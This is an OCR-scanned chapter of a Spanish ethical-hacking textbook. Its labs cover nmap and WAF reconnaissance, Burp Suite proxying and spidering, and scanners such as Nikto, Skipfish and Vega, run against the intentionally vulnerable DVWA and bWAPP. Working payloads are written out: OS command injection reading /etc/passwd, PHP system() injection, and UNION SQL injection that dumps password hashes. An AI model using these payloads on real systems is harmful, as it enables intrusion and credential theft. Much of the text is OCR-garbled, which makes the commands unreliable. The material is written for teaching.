Ak Alfaomega 6.3 Reconocimiento 


Figura 6.1 Detección de firewall 


¿Has detectado un WAF en la máquina virtual BWA? (La instalaste en el 
capítulo anterior) 


Escaneo 6: Escanea con el script http-waf-detect el sitio www.example.com 
root@kali:~# nmap -p 80,443 --script http-waf-detect www.example.com 
¿Qué WAF se ha detectado en este escaneo? 


Escaneo 7: Escanea para buscar información del dispositivo del cortafuegos 
(huella digital) 


[--script = http-waf-fingerprint] 
rootékali:-% nmap --script http-waf-fingerprint www.example.com 


¿Cuál es la huella digital del WAF detectado? 

A veces, los cortafuegos están configurados para permitir el tráfico de red sólo 
para puertos específicos, por ejemplo, 53, 25 y 80. Podemos eludir el firewall 
escaneando con la opción --source-port, para que el firewall permita el escaneo. 


Escaneo 8: Escanea el sitio pentesting-lab.com con la opción: 


source-port [--source-port]. 
rootékali:-% nmap pentesting-lab.com -source-port 53 


¿Cuál es el resultado? 
Escaneo 9: Escanea para buscar más hosts con registros DNS de fuerza bruta 


[-- script = http-waf-detect ] 
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LABORATORIO 6.2 HTTP-proxy 


Explicación: Con esta opción tratamos de averiguar si hay otros anfitriones 
(hosts) además de los que hemos encontrado en los pasos anteriores. La 
expresión brute force significa literalmente fuerza bruta, es decir, probar sin 
rodeos todas las opciones posibles hasta que se encuentren todos los nombres 
de los anfitriones (host). 


rootékali:-% nmap -p 80,443 --script dns-brute --script-args 
dns-brute.domain=pentesting-lab.com 


¿Has encontrado más nombres de anfitriones (host)? 


El escáner Whatweb en Linux identifica las tecnologías web utilizadas en el sitio 
en la red. 


Escaneo 10: Escanea con la búsqueda de tecnologías web con la opción 
detallada [-v]. Esto te dará más información. 


root@kali:~# whatweb -v wikipedia.org 


¿Está activado el control de caché en el encabezado HTTP? 


6.3.3 Burp suite 


A 
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Burp Suite es una aplicación escrita en Java y una de las herramientas más versátiles en 
Kali Linux para probar y analizar la seguridad de las aplicaciones en la red; incluye entre 
otros un servidor proxy, una araña, un intruso y un así llamado repetidor (para automatizar 
las solicitudes). 


Para trabajar con Burp, primero configuramos un proxy en nuestro navegador web. 


Un proxy HTTP es una herramienta que intercepta todo el tráfico de datos entre 
el navegador y la aplicación; también puede manipularlos. El proxy de Burp Suite 
es uno de los más utilizados. 


Agrega el complemento FoxyProxy a tu navegador Firefox de la siguien- 
te manera. 


Haz clic en el icono del menú derecho y elige Complementos. Aparece 
la ventana: 


A 
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ż Administrador de compiemen: X 


€ C à © Firefox about:addons Úr Q Buscar Im 4 


X% Most Visited @ Gotting Started Ñt Meest bezocht Bl Aan dosiog MB xS4ALL Webmail :: .. 


@ Gabriel Sanchez Ca... Eh rrc.ni - Sne 


yt > foxyproxy 
Q Buscar 
$ Obtener compleme.. Nombre Última actualización Puntuación v 
, Buscar: Mis complementos $ Complementos disponibles 
Alf. Extensiones ® 
FoxyProxy Basic 21 de diciembre de 2017 
ab R A Instalar 
A Temas FoxyProxy Basic is a simple on/off proxy switcher... Más 
A h 31 de enero de 2018 
Bl Plugins y Fest: > Instalar 
j Muestra la bandera del país correspondiente a la ... Más 
xtensiones hered... 
d poi li O AdBlock for Firefox 14 de noriembre de 2017 
Instalar 
The most popular ad blocker for Chrome and Saf... Más 


Figura 6.2 La extensión FoxyProxy 


Paso 1: Haz clic sobre Extensiones 


Paso 2: Escribe en la barra de buscar foxyproxy. Aparece, entre otras, la 


extensión FoxyProxy Standard. 


Paso 3: Haz clic en el botón Instalar. 


Después de la instalación verás el icono FoxyProxy en la parte superior de 


tu navegador como se ve en la figura anterior. 


Ahora haremos un nuevo proxy para Burp Suite. Haz clic en el icono recién 
mencionado de FoxyProxy, aparecerá la siguiente ventana: 


FoxyProxy Standard 
FoxyProxy Standard 


Archivo 
A Añadir nuevo proxy P y. General fl Detalles [) Patrones de direcciones 
Proxy Wizard 5 
han iidr (Habilitado 
Asistente Tor is sE P: 
Nombre del proxy  Burp Suite 
importar opciones or 


Exportar opciones actuales ES Not 


Gabriel Sánchez Cano 


Cerrar Esc ; y General! Bl Detalles | 


Host or IP Address 
¿proxy SOCKS? 
Y Por favor, haga una donación Obtener Autenticación 


FoxyProxy Standard 
| Patrones de direcciones 


Conexión directa a internet (sin proxy) 


») Configuración manual del proxy 
¡Ayuda! ¿Cuáles son las opciones para HTTP. SSL. FTP. Gopher y SOC 


127.0.0.1 Puerto 


CKS vå/da G KS v5 


Figura 6.3 Añadir nuevo proxy 
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Paso 1: Haz clic en Archivo y en Añadir nuevo proxy 
Paso 2: En la pestaña General, teclea el nombre Burp Suite 


Paso 3: En la pestaña Detalles de Proxy, teclea 127.0.0.1 y el puerto 8080. 
Haz clic en Aceptar 


Paso 4: Si ahora haces clic derecho en el icono FoxyProxy, verás el proxy 
agregado para Burp Suite. 


Paso 5: Haz clic para activar el proxy, como se ve en la siguiente figura: 


FoxyProxy - Buy/Order - Mozilla Firefox 000 
«o FoxyProxy - Buy/Order x \ + 


© @ https://getfoxyproxy.org/ord = -O- \ Search g 6 ¢ >» = 


B Most Visitedw PM Offensive Security Ñ Kali Linux 


a SA /9 Usar el proxy "Burp suite" para todas la 
2# FoxyProxy 
. Usar el proxy “Por defecto” para todas las direcciones 


Buy Proxy & pr Custom Deshabilitar FoxyProxy completamente 
VPN Downloads pa 


Opciones 


Usar menús avanzados 
Buy Proxy & VPN 
Figura 6.4 Activación de FoxyProxy 


Ahora se conectará Burp Suite a FoxyProxy. Inicia Burp Suite y comienza un 
nuevo proyecto. Establece la configuración del proxy de la siguiente manera: 


Burp Suite Community Edition v1.7.30 - Temporary Project 


Extender | Project options | User options | 


Proxy Listeners 


7 
o Burp Proxy uses listeners to receive incoming 


Add | | Running interface 


y 127.0.0.1:6080 2) These settings control how Burp binds the proxy listener 


Bind to port 8080 


Bind to address: E) Loopback only 
Y All interfaces 


O Specific address: ¡10.0.2.15 


Each installation of Burp generates its own CA 
Burp 


import / export CA certificate Regene 


Figura 6.5 Opciones del proxy 
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Paso 1: Haz clic en la pestaña Proxy 

Paso 2: Haz clic en la pestaña Options 
Paso 3: Selecciona la interfaz 127.0.0.1:3080 
Paso 4: Haz clic sobre el botón Edit 


Paso 5: Selecciona la pestaña Binding (Conexión) 


+ Teclea en la pestaña Conexión: 
- Conectarse al puerto: 8080 
- Conectarse a la dirección: Loopback only 


LABORATORIO 6.3 Sitios en la red SSL 


Tu navegador reconoce el certificado de https://getfoxyproxy.org, pero la s 
tuación ha cambiado pues Burp ahora está entre tu navegador y el sitio we 


a 


getfoxyproxy.org, mientras que la verificación del certificado no tuvo éxito. Luego, 
verás la pantalla Conexión insegura: 


Insecure Connection - Mozilla Firefox 050 


J Ld Insecure Connection x | + 
€ © | https://getfoxyproxy.org'order/? src=FoxyPre e | Æ Q Search wA y » 
B Most Visited PM Offensive Security ‘Ñ Kali Linux "Ñ Kali Docs ‘Ñ Kali Tools + Exploit-DB $ Aircrack-ng 


Your connection is not secure 


The owner of getfoxyproxy.org has configured their website improperly. To protect your information 
from being stolen, Firefox has not connected to this website 


This site uses HTTP Strict Transport Security (HSTS) to specify that Firefox may onty connect to it 
securely. As a result, itis not possible to add an exception for this certificate 


Learn more 


Figura 6.6 Conexión insegura 
La solución es agregar el certificado autofirmado de Burp a tu navegador. 
Abre una nueva pestaña en tu navegador y ve a http://burp. Si la configura- 


ción de Burp es correcta, obtendrás la siguiente interfaz especial para descargar 
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el certificado. De lo contrario, verifica que la dirección IP sea 127.0.01 y que el 
puerto de tu proxy y Burp sean ambos 8080. 


Burp Suite Community Edition - Mozilla Firefox o x 
LJ Insecure Connection x Mi Burp Suite Communit.. x | + 
€ © | http://burp œ $ ¡Q Search ZA $ » = 
E Most Visttedy [Ml Offensive Security Ñ Kali Linux ‘Ñ Kali Docs "Ñ Kali Tools * Exploit-DB Ph Aircrack-ng » 
Burp Suite Community Edition CA Certificate 


Welcome to Burp Suite Communi Opening cacert.der 


You have chosen to open: 
x cacert.der 


which is: certificado X.509 (973 bytes) 
from: http://burp 


Would you like to save this file? 


| Cancel | Save File 


Figura 6.7 Certificado de Burp 


Después de la descarga, ve a tu navegador a Preferencias | Avanzado | Certificados 


Preferences - Mozilla Firefox o00 
LJ Insecure Connection x Mi Burp Suite Communit. x | X% Preferences xi+ 
€ Ut: o | about:preferencestadvanced © | Æ Q Search 60 y Q- 
B Most Visitedw Pl Offensive Security "Ñ Kali Linux "Ñ Kati Docs "Ñ Kali Tools i 
100% + 
o Advanced 
a © E 
General Data Choices Network Upda New Private Save Page 
=] Window 
a Requests © Ê 
s When a server requests my personal certificate: History Full Screen 
Select one automatically 
Q 
a © Ask me every time B G d- 
o Preferences Add-ons 
Query OCSP responder servers to confirm the cut 
á 3 certificates A 
Synced Tabs 
(4) View Certificates Security Devices 


Figura 6.8 Ver certificados en Preferencias Avanzadas 
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Haz clic en Ver certificados e importa el descargado de la siguiente manera: 


Select File containing CA certificate(s) to import 


Nombre Tamaño Accedido 


= AA 
You have been asked to trust a new Certificate Authority (CA). 


Do you want to trust PortSwigger CA4 pumposes? 
ETrust this CA to identify websites. 

1_ Trust this CA to identify email users. 

Í Trust this CA to identity software developers. 


Before trusting this CA for any purpose, you should examine its certificate and its policy and 
procedures (if available). 


| View | Examne CA certifkate 


Figura 6.9 Abrir e instalar certificado 


Paso 1: Haz clic en el botón Importar. Aparece la ventana para seleccionar el 
certificado 


Paso 2: Selecciona el certificado cacert.der que recién bajaste 
Paso 3: Haz clic sobre el botón Abrir. Aparecen las opciones del certificado 


Paso 4: Selecciona Trust this CA to identify websites (Confiar en esta CA para 
identificar sitios en la red) 


Paso 5: Haz clic en el botón OK 
Si vuelves a https://getfoxyproxy.org, ya no verás ningún error. 


El proxy Burp ahora puede ver el tráfico de datos entre tu navegador y los 
sitios en la red visitados; por ejemplo 192.1168.56.3/WebGoat 
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How to work with WebGoat - Mozilla Firefox o. 


bd Insecure Connection j @ How to work with We... x Le 


€) © 192.168.563/WebGoat/attack_______ UC 4 |[QSeach |I » 
Most Visitedw PMOffensive Security Kali Linux ‘Ñ Kali Docs ‘À Kali Tools RJExploit-DB W Aircrack-ng 
Logou 


Choose another language: | English v 


OWASP WebGoat v5.4 ints > Show Params 
po Solution Videos Restart this I 
General 
Access Control Flaws 
AJAX Security 
Authentication Flaws How To Work With WebGoat 
Caor Eva wa Welcome to a short introduction to WebGoat. 
Concurrency Here you will learn how to use WebGoat and additional tools for the lessons. 
Cross-Site Scripting (XSS) 
improper Error Handling 
parrodsre Pala nT Environment Information z 


Burp Suite Free Edition v1.7.21 - Temporary Project z 


o 
x 


Bup Irtruder Repeate Window Help 


nera], Sequencer f Decoder T Comparer nf Extender s Project options { User options Tan ] 
Target Proxy Spider Scanner Intruder 


Fiker: Hiding CSS, mage and general binary content t2) 
# à Host | Method | URL | Params | Edited | Status | Length | MIME ty... | Extension | Title 
1 htp:/1192.168.56.101 GET MebGoat/ attack y 0) 200 33964 HTML How! 
2 Htp://192.168.56 101 GET MebGoat/ attack Q 0 200 33964 HTML Howe: 
7 http://192.168.56.101 GET MebGoatjjavasenptimenu_syste... 0) ¡0 304 230 script js 

8 http:1/192. 168.56 101 GET MebGoatijavascriptilessonWl av js (2) DO 304 230 script js 

9 Htp://192.168.56.101 GET MebGoat)javascriptimakeWindo.. g 0) 304 229 script js 

10  htp//92.16856101 GET MabGoztjjavaseriptitoggla js Q O os 220 script ja 

11  htp/192.168.56101 GET MWebGoatjavascriptjavascript¡s Q O m 229 script js 


ia A A 
Figura 6.10 Escaneo de OWASP Web Goat 


Nota: Si no recibes una respuesta del servidor, entonces verifica que la 
intercepción de Proxy esté desactivada. Ver la siguiente figura: 


152 Gabriel Sánchez Cano Seguridad cibernética: Hackeo ético y programación defensiva 


Â Alfaomega 6.3 Reconocimiento 


Burp Suite Free Edition 


Burp Intruder Repeater Window Help 


Forward Drop l Intercept is off j Action s item 


Raw Params Headers Hex 


Figura 6.11 Desactivar proxy en Burp 


6.3.4 Spiders y crawlers (arañas y rastreadores) 


Si deseas evaluar los aspectos de seguridad de una aplicación, navega por la misma 
como usuario e intenta identificar todas las páginas web, así como las relaciones. Llama- 
mos a esto hilar o escanear manualmente. 


Las arañas son herramientas que hacen que la identificación de páginas en una apli- 
cación sea más eficiente y automática; con el uso de ellas podemos evaluar cuán grande 
y compleja es una aplicación. 


En esta sección usaremos la araña en la Suite Burp. Esta es una parte importante de la 
fase de reconocimiento de un Pentest. Abre tu máquina virtual OWASP-BWA y selecciona 
la aplicación Damn Vulnerable Web Application (DVWA). 


192.168.56.3/dvwa/login.php Cci4 >» 


N 
DIVA, 


Username 


admin 


Password 


Login 
Figura 6.12 Inicio de sesión en DVWA 
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LABORATORIO 6.4 De Wget crawler (El rastreador Wget) 


Inicia la sesión con el nombre del usuario: admin y Contraseña: admin. 


Wget es un rastreador en Kali Linux. Puedes descargar páginas web y sublinks 
repetidamente. Después de descargar las páginas de un sitio web podremos 
navegarlas sin conexión (offline). 


Crea una nueva carpeta llamada Offline (Sin conexión). 

root@kali:~# mkdir Offline 

Enseguida, rastrea la aplicación DVWA: 

root@kali:~# wget -r -P  Offline/ -1=0 http://192.168.56.3/dvwa/ 


Enseguida vemos las opciones para wget: 
-r recursivo 

--spider controlas enlaces quebrados 
-nd nodirecorio 

-nv no vervosidad 

-l niveles de profundidad 

-w 1 wait 

-o archivo de salida 


-P _ prefijo Offline/ 


Enseguida, rastrea la aplicación AWAPP 


wget -r -H —convert-links -level=3 -P OFF/ http://192/168/56/3/dWAPP 


LABORATORIO 6.5 5 Burp spider (araña Burp) 2 


En Burp, todas las aplicaciones visitadas se graban y se pueden encontrar en la 
pestaña Target Objetivo: 


Alfaomega 


A 
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Ta cre serer [rere repeater  sezuercer 
D 


Fiter: Hiding ound tems; hiding CSS, image and general binary content; 


b http://127.0.0.1 rmai Host 
v de enero http://192.168.56.101 
ebGo ; .56.101 


dvwa ay 
D/ ©  http://192.168.56.101/dvwa .56.101 
: .56.101 
D ae Add to scope 56.101 
D ' en pider this branch .56.101 
e es Actively scan this branch .56.101 
> 2 logi Passively scan this branch -56.101 
.56.101 
D log Engagement tools [Pro version only] P hecain 
O php ; 
CA Compare ste maps 


Figura 6.13 Araña en Burp 


Haz clic en la pestaña Site map y selecciona la carpeta de la aplicación dvwa. Has- 
ta ahora, sólo hemos iniciado la sesión; eso es todo lo que se puede encontrar 
nuevamente aquí. Haz clic con el botón derecho en la carpeta dvwa y selecciona 
Hilar esta rama (Spider this branch). Lo primero que encontrarás en el Spider es una 
página de inicio de sesión; Spider te pide la siguiente información. Ingresa los datos 
de inicio aquí: 


Nombre del usuario (username): admin 
Contraseña (password): admin 
También podemos hacer clic en Ignorar formulario (Ignore form) 


Para ver el estado de la araña (spider), ve a la pestaña Araña (spider) y haz clic 
en Control. 


Aquí también podemos apagar el Spider. Cuando examinamos la pestaña Target 
después del proceso de Spider, vemos mucho más de la estructura de la aplica- 
ción. Por ejemplo, selecciona un archivo a la izquierda y verás los métodos GET y 
POST a la derecha y la pestaña Respuesta correspondiente en la parte inferior. En 
la figura 6.15 vemos un ejemplo (Rendering, Presentación) de la respuesta HTML 
en la pestaña Presentar (Render). 
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Burp Suite Free Edition v1.7.21 - Temporary 


Burp Intruder Repeater Window Help 


Spa] carner | virus | Reposter | Sagan Y Decoder | comparer | 
(Corra orons ] 


(2) Spider Status 


Use these settings to monitor and control Burp Spider. To begin spidering, browse to the target apj 
site map, and choose "Spider this host / branch". 


Spider is running | Clear queues 


Requests made: 146 
Bytes transferred: 456.053 
Requests queued: O 


Forms queued: 0 


Figura 6.14 Estado del spider 


Burp Suite Free Edition v1.7.21 - Temporary Project 0090 


Burp Intruder Repeater Window Help 


Target | Proxy | Spder | Scanner intruder Repeater Sequencer Decode | Compare | Extender Project eptions User options Alerts 


Í Ste mep l Scope 


[Ere Hiding not found ternas, hiding CSS. mage and general binary contert: hiding 4xx responses, hiding empty folders ?) 
ve a Host | Method | URL — [Params| Sta. àl Length | MME type | Tele a. 

v © Dens http0192.163.56.101 GET /dwnalsecurty pho O 20 4742  HIML Damn Vulnerat 2... 

»./ http:/0192 163.356.101 POST  Idwna/secuty.pbho © 

D 08MS php http//192 163.56.101 GET Idvnalsecuty phott eA 

D MySOLpho http://192 163.56.101 GET Idwnalsecurty. pho? A 

D PGSOL php 

D dwmab age inc. phe 

dwwaPhpids inc php 


D 
j 
»0/ 
D demP agejs 

D ids_b9 php 

O index.php 

© instructions php 
doce=PHPIDS hcense 


AZAA) 


https adobe 


A Htpsiladobe-d openx. net 
A damdan asi 


Figura 6.15 Presentación de una respuesta 


Sigue los pasos mostrados en la figura y verás el método POST del código login. 
php. En la pestaña Request, verás los datos ingresados de inicio de la sesión. 
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Burp Suite Free Edition v1.7.21 - Temporary Project 


Burp Intruder Repeater Window Help 


| [aros] prox | Spider | Scanner | trtruder | Repeater | sequencer | Decoder | comparer | Extender | Projet optons [1 | 


ED doc=readme 


q © login; 
O setup php 
» 7 vulnerabilties 

> O htps/jacadernia stackexchange com 
> A https:i/accourts. google.com 

> 0 https:/laddons.mozilla. org 

> htp://adobe-d. openx.net 

>A https//adobe-d.openx.net 

> A https://adobe.demdex.net 


A : | Method | URL | Params | Sta... à 
k 216856101 POST  /dvwwlogn php 302 55 
KLS 


3 Caa 
p, [rar exams | headers Her 


Pa EosT /dvxa/Logín. php HTTP/1.1 
ost: 192,168.56. 101 
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv: 45.0) Gecko/201001£ 


8 rial aa porn i Pedia aj ida taml, application/xml; q+0. 9, */*; 
> 0 httpejjajax googlaapis com Referer: http: //192.168.36. 101/dvwa/Login. php 

> 0 https/landroid.stackexchange.com Cockie: security=low; acopendivids=swingset,jotto, phpbb2, redmine; 
> 0 https/janime stackexchange.com acgroupswithpersist=nada; JSESSIONIO=2A50B8702000F5E64082272F00060 
> 0 https//apis. google.com PHPSESSIO=bs2mrfkd88n4uda37tcr2juves 

> O htps//apple stadcexchange. com Cornection: close 

> http://apps.ubuntu.com Content-Type: application/x-www-form-urlencoded 

> O htps:/jarea51 stackexchange.com Content-Length: 41 

” http-//askubuntu. com š i t - 

> A https://askubuntucom e usernames adninápassvord=adminóLogireLogin v 
" pt di pi | l ? < j | + j l > | Type a search term 


Figura 6.16 Datos de una sesión 
Para copiar los JavaScript del Frontend y Backend sigue los pasos de la figura: 


Burp Suite Free Edition v1.7.21 - Temporary Proj - © x | 


Burp Intruder Repeater Window Help 


| Target | Proxy | Spider | Scanner | intruder | Repeater | sequencer | Decoder | comparer | Exterstions | alerts | 


Filter: Hiding not found tems: hiding CSS. image and general binary content: hiding 4xx responses: hiding empi 


> T http://127.0.0.1 
M http://192.168.56.101 
> 17 WebGoat 


E http://192.168.56.101/dvwa 
j Add to scope 


js HTTP/1.1 


Actively scan this branch 


Passively scan this branch 
Engagement tools [Pro version only] >| 


Figura 6.17 Copiar URL 


ompatible; MSIE 9.0; t; 


Type a search term O mat: 
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Paso 1: Selecciona el archivo en la Carpeta del sitio 

Paso 2: Haz clic con el botón derecho del ratón 

Paso 3: Selecciona Copy URL (Copiar URL) 

Paso 4: Pega la URL en la barra de direcciones de tu navegador: 


Los JavaScript de Frontend y Backend se muestran de la siguiente manera: 


a | © | 192.168.56.3/dvwa/dvwa/¡s/dvwaPage K | æ $ |Q Search Y a 


3 Most Visited  PlOffensive Security Kali Linux ‘Ñ Kali Docs Ñ Kali Tools [PExploit-DB w. 
/* Help popup */ 


function popUp(URL) 4 

day = new Date(); 

id - day.getTine(); 

eval("page" + id + " = window.open(URL, '" + id + "' 
'toolbar=0,scrollbars=1,location=0,statusbar=9,menubar=0, resizable=1, width=500,height=300,le 
250');"); 
} 


Figura 6.18 Segmento de un JavaScript al lado del servidor 


6.4 + Inyección (SQL, OS, XXE y LDAP) 


Una inyección de código es la introducción deliberada de éste a una aplicación vulnera- 
ble para cambiar el curso de la implementación del programa, a menudo de forma mali- 
ciosa. Las fugas de seguridad de la inyección de código ocurren cuando una aplicación 
envía datos no validados a un interpretador de scripts. 


Frecuentemente los piratas informáticos ingresan estos datos manualmente, aunque 
también se hace automáticamente. Estos tipos de fugas de seguridad normalmente se 
encuentran en consultas (por ejemplo en SQL, LDAP, XPath y NoSQL) o en comandos que 
son parte del sistema operativo (OS), analizadores XML, encabezados SMTP y argumen- 
tos de programas. 


Muchos de estos tipos de fugas de seguridad son fáciles de detectar al examinar 
el código fuente o las pruebas. Los escáneres y los fuzzers (una técnica para ingresar 
datos de forma masiva fuzz que provoca un bloqueo) pueden ayudar a encontrar 
estas fugas. 
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LABORATORIO 6.6 Inyecciones de código A 


En este ejercicio de laboratiorio hackearás la aplicacion DVWA de OWASP. Inicia 
una sesión con el nombre de usuario: admin y la clave: admin. 


Elige Command Execution en el menú izquierdo y realiza un comando ping 
como el siguiente: 


Paso 1 Envía un ping a la siguiente dirección IP: 

127.0.0.1 

En este primer paso, nos damos cuenta de que podemos efectuar comandos 
desde este campo de entrada de textos y que luego se muestran los resultados. 


Intentemos ahora insertar otros comandos y ver lo que ocurre. 


Paso 2 Inserta el siguiente comando para leer el contenido del archivo con las 
claves de los usuarios: 


127.0.0.1; cat /etc/passwd 

Paso 3 Inserta el siguiente comando para leer el contenido del directorio actual: 
127.0.0.1; ls 

Paso 4 Inserta los siguientes comandos para leer el contenido del directorio source: 
127.0.0.1; cd source; ls 

Ahora, trata de hackear la aplicación LbWAPP. Inicia una sesión con el usuario: 
bee y la clave: bug. Intentemos insertar los siguientes comandos en la barra de 
direcciones del navegador: 

Paso 5 Para buscar información sobre PHP: 

192.168.56.3/bWAPP/php1 .php?message=phpintfo() 

Paso 6 Para buscar información sobre el sistema: 


192.168.56.3/bWAPP/php1 .php?message=system( *whoami ”> 


Paso 7 Para buscar el nombre del directorio actual utilizando ‘pwd’ (present 
working directory): 


192.168.56.3/bWAPP/phpi .php?message= system( ‘pwd’ > 
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Paso 8 Para buscar la versión de PHP: 


192.168.56.3/bWAPP/phpi .php?message= phpversion() 


6.4.1 Escáneres automáticos 


Con los escáneres automáticos podemos analizar las vulnerabilidades de las aplicacio- 
nes. En el siguiente ejemplo analizaremos la aplicación DVWA en busca de vulnerabilida- 
des con el escáner Nikto. 


LABORATORIO 6.7 Escáner automático A 


Ejecuta el siguiente comando en tu ventana de terminal. 


root@kali:~# nikto -h http://192.168.56.3/dwwa/ -o resultado.html 


2.168.56.191/dvwa/ o result.html 


192.168.56.101 
192.168.56.101 
‘>t Port 89 
Time: 2017-06-26 10:47:03 (GMT2) 


: Apache/2.2.14 (Ubuntu) mod mono/2.4.3 PHP/5.3.2-lubuntu4. 
in-Patch proxy html/3.0.1 mod python/3.3.1 Python/2.6.5 mod ssl/2. 
.9.8k Phusion Passenger/4.0.38 mod perl/2.0.4 Perl/v5.10.1 
+ Retrieved x-powered-by header: PHP/5,3.2-1lubuntu4.30 


Figura 6.19 Ventana de terminal 
-h para host (anfitrión) 
-o para archivo de salida 
Abre el archivo resultado.html con: 
root@kali:~# firefox resultado.html 


Lee las posibles vulnerabilidades. Observa la siguiente figura: 
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6.4 Inyección (SQL, OS, XXE y LDAP) 


GET 


/dvwa/?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially 
sensitive information via certain HTTP requests that contain specific QUERY strings. 


/dvwa/login/ 


GET 


Idvwa/login/: This might be interesting... 


http://192.168,56.101:80/4vwa/login/ 
htto://192.168.56.101:80/4vwa/login/ 
OSVDB-3092 


OSVDB Entries 


Idvwaldocs/ 

GET 

Idvwaldocs/: Directory indexing found. 
http://192.168,56.101:80/dvwa/docs/ 
http://192.168,56,101:80/dvwa/docs/ 
OSVDB-3268 


Figura 6.20 Contenido de resultado.html 


LABORATORIO 6.8 Skipfish scanner 


El escáner de vulnerabilidad Skipfish se puede encontrar en (Aplicaciones | 
Aplicaciones Web o en la ventana de la terminal). Ejecuta skipfish -h con la 
opción Ayuda para ver una lista de opciones. El parámetro -h proporciona 
una lista con explicaciones de todos los posibles parámetros. El resultado del 
escaneo es una página html almacenada. La sintaxis es la siguiente: 


skipfish -o <ubicación de la salida> <objetivo> 
Escaneo 10: Escanea con Skipfish de la siguiente manera: 


root@kali:~# skipfish -o /Escaneos http://192.168.56.3 


http://192.168.56.3/dvwa 


El resultado se encuentra en el archivo index.html en la carpeta Escaneos y 


aparece como sigue: 
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Scanner version  2.10b Scan date: Wed Jun 21 13:21:07 2017 
Random seed: 0x565f21ec Total time: 0 hr 1 min 20 sec 581 ms 


Chick here í 


Crawl results - click to expand: 


Q + http:n92.168.56.101 94 O1 95 041 4202 


texvhuni appicatonxhimiexi [none] [ show tace + 


Document type overview - click to expand: 


75 application/x-shockwave-flash (1) 


7 applicationixhtml+xml (13) 


imagelgif (10; 


- 7 image/jpeg 0) 


Figura 6.21 Resultado de Skipfish 


En algunas descripciones vemos que hay solicitudes HTTP que contienen 
cadenas de SQL y son vulnerables a las inyecciones de SQL. 


LABORATORIO 6.9 El escáner Vega 2 
El escáner Nikto se enfoca en las carpetas del sitio web y en la configuración 
del servidor; Vega hace más que eso pues analiza también las páginas web, 
además de las vulnerabilidades de la aplicación. Elige en Aplicaciones Web Vega 
y arráncalo. 
Paso 1 Crea un nuevo escaneo 


Paso 2 Escribe el objetivo 192168.56.3/dvwa 


Paso 3 Observa los resultados del escaneo 
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Subgraph Vega 0090 
O. Window Help 


QOS [O Scanner 2 Proxy 


e 010 Scan Info SO 


vebsite Vie: 
E 
sa, VEGA o | 


Scan Alert Summary 


O ScanaAlets:; © O $ 5o 
O High (3 found) 
Session Cookie Without Secure Flag 1 
Session Cookie Without HttpOnly Flag 1 
Cleartext Password over HTTP 1 S 


Figura 6.22 El escaneador Vega 


LABORATORIO 6410 Inyección SQL 2 


En este ejercicio de laboratorio ejecutarás una inyección SQL. Realiza los 
siguientes pasos: 


Paso 1 Agrega el complemento Hackbar a tu navegador 

Paso 2 Inicia la aplicación DVWA. Nombre del usuario: admin y contraseña: admin 
Paso 3 Haz clic en Inyección SQL del menú izquierdo 

Paso 4 El objetivo es comprobar si el campo de entrada es vulnerable a las 
inyecciones. Teclea un número en el campo de entrada, por ejemplo 1. Verás un 
mensaje con información del usuario, esto quiere decir que se ha realizado una 


consulta SQL con la información suministrada. 


Paso 5 Desde ahora trabajas desde Hackbar. Haz clic en Cargar URL. Cambia id = 
1a id =5 y haz clic en Ejecutar. 
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INT v|= 06 SOLr XSSv Encryption* Encodingw Otherw 

«sl Load URL | http://192.168.56.101/dvwa/vulnerabilities/sq/?id=528Submit=Submiti+ 
& Split URL 

») Execute 


Enable Post data Enable Referrer 


Vulnerability: SQL Injection 


Hinssucsons User ID: 

Setup 

Brute Force 10: 5 

c d Execution First name: Bob 
roo Surname: Smith 
_CSRF 

Insecure CAPTCHA 

AR More info 


Figura 6.23 Inyecciones SQL en DVWA 


Si el número inyectado se muestra en la respuesta HTML, el campo de entrada es 
vulnerable a las inyecciones de SQL. 


Paso 6 Realiza el siguiente ataque de inyección SQL desde Hackbar: 


+ Cambiarid=5a'“OR “1 =*1 
+ Haz clic en Ejecutar 


El resultado es una lista de la base de datos con todos los usuarios. Todas las 
aplicaciones requieren alguna forma de entrada por parte del usuario (user input o 
entrada del usuario), la cual puede provenir de diferentes fuentes: un usuario final 
u otra aplicación. 


Por supuesto se desea saber de dónde proviene la información y evitar que una 
persona malintencionada se acerque a la aplicación. Con base en la figura anterior, 
se observa que la aplicación no realizó la validación de entrada en el campo reque- 
rido para User ID (ID del usuario). La validación de entrada significa que verificamos 
si aquélla proviene de un usuario al que hemos otorgado acceso. 


La entrada del usuario se usa para ejecutar una consulta de base de datos. 
Por ejemplo: 


$query = “SELECT * FROM users WHERE id=*” .$_GET[“id”]. “>”; 


A 
A 


A 


Alfaomega 
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Esto normalmente funciona al ingresar entradas válidas. Por ejemplo, si 
escribimos 5 se ejecutará la siguiente consulta: 


$query = “SELECT * FROM users WHERE id=” . “5” , “2>»; 

es decir: 

$query = “SELECT * FROM users WHERE id=‘5°”; 

Al inyectar SQL, se ejecutó la siguiente consulta: 

$query = “SELECT * FROM users WHERE id=*” or *1*="1?””; 

Esta es una consulta válida y siempre se va a ejecutar, ya que 1 = 1. Aquí hemos 
obtenido los datos de todos los usuarios; ahora podemos ver mucho más que 
sólo la tabla de los mismos. También podemos cambiar los privilegios de los 


usuarios o eliminar tablas. 


Ahora trataremos de conseguir más información sobre las claves de los 
usuarios: 


Paso 7 Inserta en el campo de User ID: 

3? and 1=0 union select null,version()# 
Esto da la versión: 

5.1.41-3ubuntu12.6-log 

Paso 8 Inserta en el campo de User ID: 

3” and 1=0 union select null,user)# 
Esto nos da el nombre del usuario de la base de datos: 
dwwa8local host 

Paso 9: Inserta en el campo User ID: 

3” and 1=0 union select null, database 
Esto nos da el nombre de la base de datos: 


dvwa 
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A ~ 
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3? and 1=0 union select null,concat(table_name,0x0a, column_name) 
from information_schema.columns where table-name = ‘users’)# 


Esto nos da los nombres de las columnas de la tabla users. 


Paso 11 Inserta en el campo de User ID: 


3? and 1=0 union select null, concat(first_name,0x0a, password) 


from users# 


Esto nos da los nombres y las claves de los usuarios. 


€ © 192.168.56.3 


ulic| $ 2 = 


B Most Visitedw Offensive Security “`Ñ Kali Linux “Ñ Kali Docs ‘Ñ Kali Tools œ Exploit-DB Aircrack-ng E Kali Forums "`Ñ NetHu: > 


0140) 


Home 

Instructions 

Setup 

Brute Force 
Command Execution 


SQL Injection 


Upload 
XSS reflected 


User ID: 


ncat(first_name,Oxda, passw Submit 


ID: 3' and 1-0 union select null 
First name: 

Surname: admin 
212321297457453/4389430043801fC3 


1D: 3" and 1-0 union select null 
First name: 
Surname: Gordon 


e99218c428cb38d5f260853678922003 


10: 3' and 1-0 union select null 
First name: 

Surname: Hack 
